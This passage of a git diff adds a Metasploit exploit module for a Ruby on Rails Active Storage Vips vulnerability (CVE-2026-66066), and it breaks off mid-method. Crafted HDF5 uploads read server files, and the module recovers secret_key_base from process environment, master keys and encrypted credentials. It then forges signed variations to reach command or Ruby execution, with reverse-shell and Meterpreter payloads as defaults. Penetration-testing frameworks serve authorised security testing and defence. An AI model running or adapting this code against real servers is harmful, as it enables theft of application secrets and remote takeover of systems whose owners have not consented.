Path(temp_dir) / filename + build_template(temp_path, dimension) + (OUTPUT_DIR / filename).write_bytes(temp_path.read_bytes()) + capacity = len(target_columns(dimension)) * dimension + print(f"{filename}: {dimension}x{dimension}, {capacity} source bytes") + + +if __name__ == "__main__": + main() diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb new file mode 100644 index 0000000000000..03ffc0c7e4691 --- /dev/null +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -0,0 +1,1672 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'base64' +require 'digest/md5' +require 'json' +require 'openssl' +require 'uri' +require 'yaml' +require 'zlib' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + EXPLOIT_DATA_DIR = ['exploits', 'CVE-2026-66066'].freeze + EXTERNAL_PATH_PLACEHOLDER = '/rails_vips_external_path_placeholder_012345678901234567890123456789'.b.freeze + EXTERNAL_OFFSET_MARKER = 0x4d53460000000000 + READ_LAYOUTS = [256, 100, 64, 32, 20, 16].map do |dimension| + data_columns = (dimension - 1) / 2 + { + artifact: "ascii_#{dimension}.mat", + dimension: dimension, + data_columns: data_columns, + capacity: data_columns * dimension + }.freeze + end.freeze + KEY_GENERATOR_DIGESTS = %w[sha256 sha1 sha384 sha512].freeze + VERIFIER_DIGESTS = { + 40 => 'sha1', + 64 => 'sha256', + 96 => 'sha384', + 128 => 'sha512' + }.freeze + ENVIRONMENT_PATHS = ['/proc/self/environ', '/proc/1/environ'].freeze + LOCAL_SECRET_PATHS = [ + '/proc/self/cwd/tmp/local_secret.txt', + '/proc/self/cwd/tmp/development_secret.txt' + ].freeze + CREDENTIAL_ENVIRONMENTS = %w[production staging development test].freeze + DEFAULT_ENVIRONMENT_MAX_BYTES = 65_536 + DEFAULT_CREDENTIALS_MAX_BYTES = 262_144 + REPRESENTATION_REDIRECT_LIMIT = 3 + + class FlowError < StandardError; end + class ConfigError < FlowError; end + class DataError < FlowError; end + class TriggerError < StandardError; end + + # Minimal PNG decoder for the grayscale representation responses. + # Chunk and filtering rules: https://www.w3.org/TR/png-3/ + class PngDecoder + PNG_SIGNATURE = "\x89PNG\r\n\x1a\n".b + MAX_PIXELS = 1_048_576 + + def self.decode(data) + raise TriggerError, 'Representation body is not a PNG image' unless data.is_a?(String) && data.start_with?(PNG_SIGNATURE) + + offset = PNG_SIGNATURE.bytesize + idat = String.new.b + width = nil + height = nil + bit_depth = nil + color_type = nil + compression = nil + filter_method = nil + interlace = nil + saw_iend = false + + while offset + 12 <= data.bytesize + length = data.byteslice(offset, 4).unpack1('N') + raise TriggerError, 'Representation PNG contains an oversized chunk' if length > data.bytesize - offset - 12 + + chunk_type = data.byteslice(offset + 4, 4) + chunk_data = data.byteslice(offset + 8, length) + chunk_crc = data.byteslice(offset + 8 + length, 4).unpack1('N') + expected_crc = Zlib.crc32(chunk_type + chunk_data) + raise TriggerError, "Representation PNG #{chunk_type.inspect} chunk failed its CRC check" unless chunk_crc == expected_crc + + case chunk_type + when 'IHDR' + raise TriggerError, 'Representation PNG contained an invalid IHDR chunk' unless length == 13 && width.nil? + + width, height, bit_depth, color_type, compression, filter_method, interlace = chunk_data.unpack('NNC5') + when 'IDAT' + idat << chunk_data + when 'IEND' + saw_iend = true + break + end + + offset += 12 + length + end + + raise TriggerError, 'Representation PNG is missing IHDR data' unless width && height + raise TriggerError, 'Representation PNG dimensions were invalid' unless width.positive? && height.positive? && width * height <= MAX_PIXELS + raise TriggerError, "Unsupported PNG bit depth #{bit_depth}" unless bit_depth == 8 + raise TriggerError, "Unsupported PNG color type #{color_type}" unless color_type == 0 + raise TriggerError, "Unsupported PNG compression method #{compression}" unless compression.zero? + raise TriggerError, "Unsupported PNG filter method #{filter_method}" unless filter_method.zero? + raise TriggerError, 'Interlaced PNG responses are not supported' unless interlace.zero? + raise TriggerError, 'Representation PNG is missing image data' if idat.empty? + raise TriggerError, 'Representation PNG is missing IEND data' unless saw_iend + + stride = width + expected_size = height * (stride + 1) + raw = inflate_limited(idat, expected_size) + raise TriggerError, 'Representation PNG scanline data had an unexpected length' unless raw.bytesize == expected_size + + previous = Array.new(stride, 0) + pixels = String.new.b + cursor = 0 + height.times do + filter = raw.getbyte(cursor) + cursor += 1 + row = raw.byteslice(cursor, stride).bytes + cursor += stride + decoded = unfilter(filter, row, previous) + pixels << decoded.pack('C*') + previous = decoded + end + + { width: width, height: height, channels: 1, pixels: pixels } + rescue Zlib::Error => e + raise TriggerError, "Representation PNG decompression failed: #{e.message}" + end + + def self.inflate_limited(compressed, expected_size) + inflater = Zlib::Inflate.new + inflated = String.new(capacity: expected_size).b + limit = expected_size + 1 + inflater.inflate(compressed) do |chunk| + remaining = limit - inflated.bytesize + if chunk.bytesize > remaining + raise TriggerError, 'Representation PNG scanline data exceeded the expected length' + end + + inflated << chunk + end + raise TriggerError, 'Representation PNG zlib stream was truncated' unless inflater.finished? + raise TriggerError, 'Representation PNG zlib stream contained trailing data' unless inflater.total_in == compressed.bytesize + + inflated + ensure + inflater&.close unless inflater&.closed? + end + + def self.unfilter(filter, row, previous) + case filter + when 0 + row + when 1 + decoded = [] + row.each_index do |index| + left = index.zero? ? 0 : decoded[index - 1] + decoded << ((row[index] + left) & 0xff) + end + decoded + when 2 + row.each_index.map { |index| (row[index] + previous[index]) & 0xff } + when 3 + decoded = [] + row.each_index do |index| + left = index.zero? ? 0 : decoded[index - 1] + decoded << ((row[index] + ((left + previous[index]) / 2)) & 0xff) + end + decoded + when 4 + decoded = [] + row.each_index do |index| + left = index.zero? ? 0 : decoded[index - 1] + upper = previous[index] + upper_left = index.zero? ? 0 : previous[index - 1] + decoded << ((row[index] + paeth(left, upper, upper_left)) & 0xff) + end + decoded + else + raise TriggerError, "Unsupported PNG scanline filter #{filter}" + end + end + + def self.paeth(left, upper, upper_left) + estimate = left + upper - upper_left + left_distance = (estimate - left).abs + upper_distance = (estimate - upper).abs + upper_left_distance = (estimate - upper_left).abs + + return left if left_distance <= upper_distance && left_distance <= upper_left_distance + return upper if upper_distance <= upper_left_distance + + upper_left + end + + private_class_method :inflate_limited, :unfilter, :paeth + end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution', + 'Description' => %q{ + This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when + the application uses the Vips variant processor and accepts untrusted image + uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text + files accessible to the Rails worker through a PNG representation response. + + The module recovers secret_key_base from the process environment, Rails local + secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then + forges a serializer-compatible variation whose ImageProcessing apply step reaches + Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when + the Ruby target is selected. Neither path requires a Marshal object gadget. The + Ruby target's initial code execution does not require a Unix shell or a fetch + utility on the target. + + The file-read stage needs a genuine signed Active Storage variation key. It can use + VARIATION_KEY directly, reuse a representation URL from the application, or create + one through an application upload form. Supplying SECRET_KEY_BASE skips file-based + secret recovery and lets the module construct the standard representation route + itself. + + The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1, + Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in + Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines the Rails Vips + transformation-validation gap with ImageProcessing 1.x method dispatch; + ImageProcessing 2.x blocks this chain. + }, + 'Author' => [ + '0xacb', # Vulnerability discovery and research + 's3np41k1r1t0', # Vulnerability discovery and research + 'castilho', # Vulnerability discovery and research + 'RyotaK', # Independent vulnerability discovery + 'Crypto-Cat' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-66066'], + ['GHSA', 'xr9x-r78c-5hrm'], + ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'], + ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'], + ['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'], + ['URL', 'https://github.com/rails/rails/pull/56995'], + ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'], + ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066'] + ], + 'DisclosureDate' => '2026-07-29', + 'Privileged' => false, + # Target-local defaults avoid the generic ARCH_CMD preference for PHP or + # FTP fetch payloads, neither of which is required by the command gadget. + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Fetch Command', + { + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp', + 'FETCH_DELETE' => true + } + } + ], + # The command targets reach Kernel#spawn through /bin/sh and unlock the + # full cmd/unix payload catalogue, including native Meterpreter via the fetch + # target, so they remain the default. The Ruby target reaches Kernel#eval + # with a native Ruby payload and needs nothing on the target but the Ruby + # interpreter already running the Rails worker. Ruby payloads default PrependFork + # to true, so the reverse shell forks out of the request worker while the + # representation request returns an error. + [ + 'Ruby', + { + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Type' => :ruby, + 'DefaultOptions' => { + 'PAYLOAD' => 'ruby/shell_reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => "\x00" + }, + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']), + OptString.new('LANDINGURI', [true, 'Path to a CSRF-bearing page and optional representation/form', '/']), + OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']), + OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']), + OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']), + OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]), + OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]), + OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]), + OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips file-based secret recovery', nil]), + OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]), + OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]), + OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]), + OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]), + OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]]) + ] + ) + + register_advanced_options( + [ + OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', DEFAULT_ENVIRONMENT_MAX_BYTES]), + OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', DEFAULT_CREDENTIALS_MAX_BYTES]) + ] + ) + end + + def check + validate_options! + if datastore['SECRET_KEY_BASE'].present? + secret_key_base = validate_secret_key_base(datastore['SECRET_KEY_BASE']) + @known_secret_context = context_from_known_secret(secret_key_base) + verify_known_secret_context(@known_secret_context) + @active_storage_service = report_active_storage_service + return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested') + end + + @read_context = detect_read_context + @active_storage_service = report_active_storage_service + vuln = { + service: @active_storage_service, + info: 'Confirmed arbitrary file read through an Active Storage representation' + }.compact + CheckCode::Vulnerable( + "Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout", + vuln: vuln + ) + rescue ConfigError => e + vprint_error("Check failed: #{e.message}") + CheckCode::Unsupported(e.message) + rescue StandardError => e + vprint_error("Check failed: #{e.message}") + CheckCode::Unknown(e.message) + end + + def exploit + validate_options! + context = if datastore['SECRET_KEY_BASE'].present? + secret_key_base = validate_secret_key_base(datastore['SECRET_KEY_BASE']) + if @known_secret_context&.dig(:secret_key_base) == secret_key_base + @known_secret_context + else + context_from_known_secret(secret_key_base).tap do |known_secret_context| + verify_known_secret_context(known_secret_context) + end + end + else + read_context = @read_context ||= detect_read_context + @active_storage_service = report_active_storage_service + unless @vulnerability_reported + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + service: @active_storage_service, + name: fullname, + info: 'Confirmed arbitrary file read through an Active Storage representation', + refs: references + ) + end + context_from_recovered_secret(read_context) + end + + @active_storage_service = report_active_storage_service + + transformations = variation_transformations + operation = transformations['send'].first + print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}") + path = forged_representation_path(context, transformations) + trigger_variation(path) + rescue ConfigError => e + fail_with(Failure::BadConfig, e.message) + rescue DataError => e + fail_with(Failure::NotFound, e.message) + rescue FlowError, TriggerError => e + fail_with(Failure::UnexpectedReply, e.message) + end + + def report_vuln(opts = {}) + service = opts[:service] || @active_storage_service || report_active_storage_service + opts = opts.merge(service: service) if service + result = super(opts) + @vulnerability_reported = true if result + result + end + + private + + def report_active_storage_service + return @active_storage_service if @active_storage_service + + common = { host: rhost, port: rport, proto: 'tcp' } + tcp_service = common.merge(name: 'tcp', parents: nil) + web_service = if ssl + common.merge( + name: 'https', + parents: common.merge(name: 'ssl', parents: tcp_service) + ) + else + common.merge(name: 'http', parents: tcp_service) + end + + @active_storage_service = report_service( + common.merge( + name: 'rails', + info: 'Ruby on Rails Active Storage', + resource: { uri: normalize_uri(target_uri.path) }, + parents: web_service + ) + ) + end + + def validate_options! + raise ConfigError, 'REPRESENTATION_INDEX must be non-negative' if datastore['REPRESENTATION_INDEX'].negative? + raise ConfigError, 'EnvironmentMaxBytes must be at least 1024' if datastore['EnvironmentMaxBytes'] < 1024 + raise ConfigError, 'CredentialsMaxBytes must be at least 1024' if datastore['CredentialsMaxBytes'] < 1024 + end + + def app_uri(path) + normalize_uri(target_uri.path, path) + end + + def patch_hdf5_template(layout, external_path, external_offset = 0) + raise FlowError, 'External read path must be absolute' unless external_path.to_s.start_with?('/') + raise FlowError, 'External read path contained a NUL byte' if external_path.to_s.include?("\x00") + raise FlowError, 'External read path was too long' if external_path.to_s.b.bytesize > EXTERNAL_PATH_PLACEHOLDER.bytesize + raise FlowError, 'External read offset must be non-negative' if external_offset.negative? + raise FlowError, 'External read offset was too large' if external_offset + layout[:capacity] > 0x7fffffffffffffff + + paths = [Msf::Config.data_directory, Msf::Config.user_data_directory].map do |directory| + ::File.join(directory, *EXPLOIT_DATA_DIR, layout[:artifact]) + end + path = paths.find { |candidate| ::File.file?(candidate) } + raise DataError, "Missing exploit data file: #{paths.join(' or ')}" unless path + + # HDF5 external-file records are described in the HDF5 format specification: + # https://support.hdfgroup.org/documentation/hdf5/latest/_f_m_t3.html + data = ::File.binread(path) + unless data.scan(EXTERNAL_PATH_PLACEHOLDER).length == layout[:data_columns] + raise DataError, "Exploit data file #{layout[:artifact]} had an unexpected external path layout" + end + + replacement = external_path.to_s.b.ljust(EXTERNAL_PATH_PLACEHOLDER.bytesize, "\x00") + data = data.gsub(EXTERNAL_PATH_PLACEHOLDER) { replacement } + + layout[:data_columns].times do |index| + marker_record = [EXTERNAL_OFFSET_MARKER + index, layout[:dimension]].pack('Q e + errors << "#{layout[:dimension]}x#{layout[:dimension]} #{mode}: #{e.message}" + end + rescue FlowError, TriggerError => e + errors << "#{layout[:dimension]}x#{layout[:dimension]}: #{e.message}" + end + end + + raise TriggerError, "Could not recover /proc/version through the selected representation (#{errors.join('; ')})" + end + + def file_read_once(layout, external_path, external_offset, filename) + signed_id = direct_upload( + csrf_token: csrf_token, + filename: filename, + content_type: 'image/png', + content: patch_hdf5_template(layout, external_path, external_offset) + ) + representation_path, res = request_crafted_representation(signed_id, filename) + raise FlowError, 'No response while requesting the crafted representation' unless res + raise TriggerError, "Crafted representation returned HTTP #{res.code}" unless res.code == 200 + + PngDecoder.decode(res.body.to_s.b).merge(path: representation_path, signed_id: signed_id) + end + + def request_crafted_representation(signed_id, filename) + if datastore['VARIATION_KEY'].present? + return request_variation_key_representation(signed_id, filename) + end + + path = substitute_representation_blob(base_representation_path, signed_id, filename) + [path, request_representation(path)] + end + + def request_variation_key_representation(signed_id, filename) + routes = @variation_key_route ? [@variation_key_route] : %i[redirect legacy] + statuses = {} + + routes.each do |route| + path = standard_representation_path(signed_id, datastore['VARIATION_KEY'], filename, route: route) + res = request_representation(path) + if res&.code == 200 && res.body.to_s.b.start_with?(PngDecoder::PNG_SIGNATURE) + @variation_key_route = route + return [path, res] + end + + statuses[route] = res&.code + end + + details = statuses.map { |route, status| "#{route}: #{status ? "HTTP #{status}" : 'no response'}" }.join(', ') + raise TriggerError, "Crafted representation did not return a PNG image through a standard Active Storage route (#{details})" + end + + def read_text_file(context, external_path, max_bytes:, filename:, stop_when: nil, allow_partial: false) + combined = String.new.b + offset = 0 + + while offset < max_bytes + read = file_read_once(context[:layout], external_path, offset, filename) + decoded = if allow_partial && context[:mode] == :sharpened + restore_ascii_pixels_partial(read, context[:layout]) + else + restore_ascii_pixels(read, context[:layout], context[:mode]) + end + combined << decoded.byteslice(0, max_bytes - combined.bytesize) + break if decoded.bytes.all?(&:zero?) + break if stop_when&.call(combined) + + offset += context[:layout][:capacity] + end + + combined.sub(/\x00+\z/n, '') + end + + def try_read_text_file(context, external_path, max_bytes:, filename:, stop_when: nil, allow_partial: false) + read_text_file(context, external_path, max_bytes: max_bytes, filename: filename, stop_when: stop_when, allow_partial: allow_partial) + rescue FlowError, TriggerError => e + vprint_status("Skipping #{external_path}: #{e.message}") + nil + end + + def restore_ascii_pixels(read, layout, mode) + validate_read_pixels!(read, layout) + dimension = layout[:dimension] + restored = String.new.b + (1...(dimension - 1)).step(2) do |x_coordinate| + observed = dimension.times.map do |y_coordinate| + read[:pixels].getbyte((y_coordinate * dimension) + x_coordinate) + end + column = mode == :raw ? observed : restore_ascii_column(observed) + restored << column.pack('C*') + end + restored + end + + def restore_ascii_pixels_partial(read, layout) + validate_read_pixels!(read, layout) + dimension = layout[:dimension] + restored = String.new.b + (1...(dimension - 1)).step(2) do |x_coordinate| + observed = dimension.times.map do |y_coordinate| + read[:pixels].getbyte((y_coordinate * dimension) + x_coordinate) + end + column, consistent = restore_ascii_column_partial(observed) + restored << column.each_index.map { |index| consistent[index] ? column[index] : 0 }.pack('C*') + end + restored + end + + def validate_read_pixels!(read, layout) + dimension = layout[:dimension] + unless read[:width] == dimension && read[:height] == dimension + raise TriggerError, "Expected a #{dimension}x#{dimension} representation, got #{read[:width]}x#{read[:height]}" + end + unless read[:pixels].to_s.b.bytesize == dimension * dimension + raise TriggerError, 'Representation pixel data had an unexpected length' + end + end + + def restore_ascii_column(observed) + restored = Array.new(observed.length, 0) + index = 0 + + while index < observed.length + if observed[index].zero? + index += 1 + next + end + + finish = index + finish += 1 while finish < observed.length && !observed[finish].zero? + solved = solve_ascii_run( + observed[index...finish], + touches_top: index.zero?, + touches_bottom: finish == observed.length + ) + solved.each_with_index { |value, offset| restored[index + offset] = value.round.clamp(0, 255) } + index = finish + end + + unless sharpened_column(restored) == observed + raise TriggerError, 'Representation pixels did not match the expected Vips sharpening transform' + end + + restored + end + + def restore_ascii_column_partial(observed) + restored = Array.new(observed.length, 0) + index = 0 + while index < observed.length + if observed[index].zero? + index += 1 + next + end + + finish = index + finish += 1 while finish < observed.length && !observed[finish].zero? + solved = solve_ascii_run( + observed[index...finish], + touches_top: index.zero?, + touches_bottom: finish == observed.length + ) + solved.each_with_index { |value, offset| restored[index + offset] = value.round.clamp(0, 255) } + index = finish + end + + rendered = sharpened_column(restored) + consistent = restored.each_index.map do |position| + expected_ascii_byte?(restored[position]) && ([position - 1, 0].max..[position + 1, restored.length - 1].min).all? do |neighbor| + rendered[neighbor] == observed[neighbor] + end + end + [restored, consistent] + end + + def expected_ascii_byte?(value) + value.zero? || [9, 10, 13].include?(value) || value.between?(32, 126) + end + + def solve_ascii_run(values, touches_top:, touches_bottom:) + raise TriggerError, 'Cannot solve an empty text run' if values.empty? + + size = values.length + lower = Array.new(size, -1.0) + diagonal = Array.new(size, 32.0) + upper = Array.new(size, -1.0) + right_hand_side = values.map { |value| 24.0 * value } + lower[0] = 0.0 + upper[-1] = 0.0 + diagonal[0] = 31.0 if touches_top + diagonal[-1] = 31.0 if touches_bottom + + (1...size).each do |index| + raise TriggerError, 'Sharpening equation contained a zero pivot' if diagonal[index - 1].zero? + + factor = lower[index] / diagonal[index - 1] + diagonal[index] -= factor * upper[index - 1] + right_hand_side[index] -= factor * right_hand_side[index - 1] + end + + solved = Array.new(size) + solved[-1] = right_hand_side[-1] / diagonal[-1] + (size - 2).downto(0) do |index| + solved[index] = (right_hand_side[index] - (upper[index] * solved[index + 1])) / diagonal[index] + end + solved + end + + def sharpened_column(source) + source.each_index.map do |index| + previous = index.zero? ? source[index] : source[index - 1] + following = index == source.length - 1 ? source[index] : source[index + 1] + (((32 * source[index]) - previous - following) / 24.0).round.clamp(0, 255) + end + end + + def context_from_known_secret(secret_key_base) + print_status('Using operator-supplied SECRET_KEY_BASE') + signed_id = direct_upload( + csrf_token: csrf_token, + filename: 'safe.png', + content_type: 'image/png', + content: safe_png + ) + token_info = signed_token_info(signed_id) + key_generator_digest = key_generator_digest_for(secret_key_base, token_info) + { + secret_key_base: secret_key_base, + signed_id: signed_id, + verifier_key: derive_verifier_key(secret_key_base, key_generator_digest), + verifier_digest: token_info[:verifier_digest], + message_serializer: token_info[:message_serializer], + verifier_source: 'a verifier key derived from operator-supplied SECRET_KEY_BASE' + } + end + + def context_from_recovered_secret(read_context) + secret_key_base, source, key_generator_digest, token_info = recover_secret_key_base(read_context) + print_good("Recovered SECRET_KEY_BASE from #{source}") + { + representation_path: read_context[:representation][:path], + verifier_key: derive_verifier_key(secret_key_base, key_generator_digest), + verifier_digest: token_info[:verifier_digest], + message_serializer: token_info[:message_serializer], + verifier_source: "a verifier key derived from #{source}" + } + end + + def verify_known_secret_context(context) + transformations = { + 'resize_to_limit' => [1, 1] + } + statuses = {} + successful_route = %i[redirect legacy].find do |route| + context[:representation_route] = route + path = forged_representation_path(context, transformations) + res = request_representation(path) + next true if res&.code == 200 && res.body.to_s.b.start_with?(PngDecoder::PNG_SIGNATURE) + + statuses[route] = res&.code + false + end + return if successful_route + + context.delete(:representation_route) + details = statuses.map { |route, status| "#{route}: #{status ? "HTTP #{status}" : 'no response'}" }.join(', ') + raise TriggerError, "Signed safe representation did not return a PNG image (#{details})" + end + + def forged_representation_path(context, transformations) + serialized = variation_payload(transformations, context[:message_serializer]) + variation = forged_variation(context[:verifier_key], serialized, context[:verifier_digest]) + if context[:representation_path] + substitute_variation_key(context[:representation_path], variation) + else + standard_representation_path( + context[:signed_id], + variation, + 'safe.png', + route: context.fetch(:representation_route, :redirect) + ) + end + end + + def recover_secret_key_base(context) + LOCAL_SECRET_PATHS.each do |path| + bytes = try_read_text_file(context, path, max_bytes: 512, filename: 'local_secret.png') + next unless bytes + + candidate = validated_secret_candidate(trim_external_bytes(bytes), path, context[:representation][:signed_id]) + return candidate if candidate + end + + environments = [] + ENVIRONMENT_PATHS.each do |path| + print_status("Reading up to #{datastore['EnvironmentMaxBytes']} bytes from #{path}") + partial = context[:mode] == :sharpened + validated_environment_secret = nil + bytes = try_read_text_file( + context, + path, + max_bytes: datastore['EnvironmentMaxBytes'], + filename: 'environment.png', + stop_when: lambda { |candidate_bytes| + environment_contains_usable_key?(candidate_bytes, path, context[:representation][:signed_id]) do |candidate| + validated_environment_secret = candidate + end + }, + allow_partial: partial + ) + next unless bytes + + environment = parse_environment(bytes) + environments << [path, environment] + loot_path = store_loot( + partial ? 'rails.process.environ.partial' : 'rails.process.environ', + 'application/octet-stream', + rhost, + bytes, + partial ? "#{::File.basename(path)}.partial.bin" : "#{::File.basename(path)}.bin", + partial ? "Partially recovered #{path}; uncertain bytes were replaced with NUL" : "Recovered #{path} bytes", + @active_storage_service || report_active_storage_service + ) + print_status("Stored recovered environment bytes in: #{loot_path}") + + return validated_environment_secret if validated_environment_secret + + if environment['SECRET_KEY_BASE'].present? + candidate = validated_secret_candidate(environment['SECRET_KEY_BASE'], path, context[:representation][:signed_id]) + return candidate if candidate + end + end + + master_keys = environments.filter_map do |path, environment| + key = environment['RAILS_MASTER_KEY'].to_s.strip + [key, "RAILS_MASTER_KEY from #{path}"] if valid_master_key?(key) + end + + credential_environments = environments.flat_map do |_path, environment| + [environment['RAILS_ENV'], environment['RACK_ENV']] + end + credential_environments = credential_environments.compact.select { |value| value.match?(/\A[a-zA-Z0-9_-]+\z/) } + credential_environments = (credential_environments + CREDENTIAL_ENVIRONMENTS).uniq + + credential_environments.each do |environment| + key_path = "/proc/self/cwd/config/credentials/#{environment}.key" + bytes = try_read_text_file(context, key_path, max_bytes: 128, filename: "#{environment}_key.png") + next unless bytes + + key = trim_external_bytes(bytes) + master_keys << [key, key_path] if valid_master_key?(key) + end + + master_key_path = '/proc/self/cwd/config/master.key' + bytes = try_read_text_file(context, master_key_path, max_bytes: 128, filename: 'master_key.png') + if bytes + key = trim_external_bytes(bytes) + master_keys << [key, master_key_path] if valid_master_key?(key) + end + master_keys.uniq!(&:first) + + credentials_paths = credential_environments.map do |environment| + "/proc/self/cwd/config/credentials/#{environment}.yml.enc" + end + credentials_paths << '/proc/self/cwd/config/credentials.yml.enc' + + credentials_paths.uniq.each do |path| + encrypted = try_read_text_file( + context, + path, + max_bytes: datastore['CredentialsMaxBytes'], + filename: 'credentials.png' + ) + next unless encrypted + + encrypted = trim_external_bytes(encrypted) + master_keys.each do |master_key, key_source| + plaintext = decrypt_rails_credentials(encrypted, master_key) + next unless plaintext + + secret = extract_secret_key_base_from_plaintext(plaintext) + next unless secret + + candidate = validated_secret_candidate(secret, "#{path} using #{key_source}", context[:representation][:signed_id]) + return candidate if candidate + end + end + + legacy_secret = recover_legacy_secrets(context, credential_environments, master_keys) + return legacy_secret if legacy_secret + + keys = environments.flat_map { |_path, environment| environment.keys }.uniq.sort + raise TriggerError, "Could not recover SECRET_KEY_BASE from Rails local secrets, environment, encrypted credentials, or legacy secrets.yml (environment keys: #{keys.join(', ')})" + end + + # Rails 6.0-7.1 fall back to Rails.application.secrets.secret_key_base, read from + # the plaintext config/secrets.yml or the encrypted config/secrets.yml.enc. The + # encrypted file uses ActiveSupport::MessageEncryptor with the same aes-128-gcm + # envelope as credentials, but serializes the YAML through Marshal and is keyed by + # config/secrets.yml.key or RAILS_MASTER_KEY. Both files are environment-keyed. + def recover_legacy_secrets(context, environments, master_keys) + plaintext_path = '/proc/self/cwd/config/secrets.yml' + bytes = try_read_text_file(context, plaintext_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets.png') + if bytes + secret_key_base_candidates_from_secrets_yaml(trim_external_bytes(bytes), environments).each do |secret| + candidate = validated_secret_candidate(secret, plaintext_path, context[:representation][:signed_id]) + return candidate if candidate + end + end + + encrypted_path = '/proc/self/cwd/config/secrets.yml.enc' + encrypted = try_read_text_file(context, encrypted_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets_enc.png') + return nil unless encrypted + + encrypted = trim_external_bytes(encrypted) + legacy_secrets_keys(context, master_keys).each do |key, key_source| + plaintext = decrypt_rails_credentials(encrypted, key) + next unless plaintext + + secret_key_base_candidates_from_secrets_yaml(unwrap_marshaled_string(plaintext), environments).each do |secret| + candidate = validated_secret_candidate(secret, "#{encrypted_path} using #{key_source}", context[:representation][:signed_id]) + return candidate if candidate + end + end + nil + end + + def legacy_secrets_keys(context, master_keys) + keys = master_keys.dup + secrets_key_path = '/proc/self/cwd/config/secrets.yml.key' + bytes = try_read_text_file(context, secrets_key_path, max_bytes: 128, filename: 'secrets_key.png') + if bytes + key = trim_external_bytes(bytes) + keys << [key, secrets_key_path] if valid_master_key?(key) + end + keys.uniq(&:first) + end + + def secret_key_base_candidates_from_secrets_yaml(yaml, environments) + document = YAML.safe_load( + yaml, + permitted_classes: [], + permitted_symbols: [], + aliases: true + ) + return [] unless document.is_a?(Hash) + + shared = document['shared'].is_a?(Hash) ? document['shared'] : {} + environments = ['development'] if environments.empty? + sections = environments.uniq.map do |environment| + environment_secrets = document[environment] + environment_secrets = {} unless environment_secrets.is_a?(Hash) + shared.merge(environment_secrets) + end + + sections << document + sections.filter_map do |section| + secret = section['secret_key_base'] + secret if secret.is_a?(String) && secret.present? && !secret.include?('<%') + end.uniq + rescue Psych::Exception + [] + end + + def environment_contains_complete_key?(bytes) + %w[SECRET_KEY_BASE RAILS_MASTER_KEY].any? do |key| + bytes.match?(/(?:\A|\x00)#{Regexp.escape(key)}=[^\x00]*\x00/n) + end + end + + def environment_contains_usable_key?(bytes, source, signed_id) + return false unless environment_contains_complete_key?(bytes) + + environment = parse_environment(bytes) + if 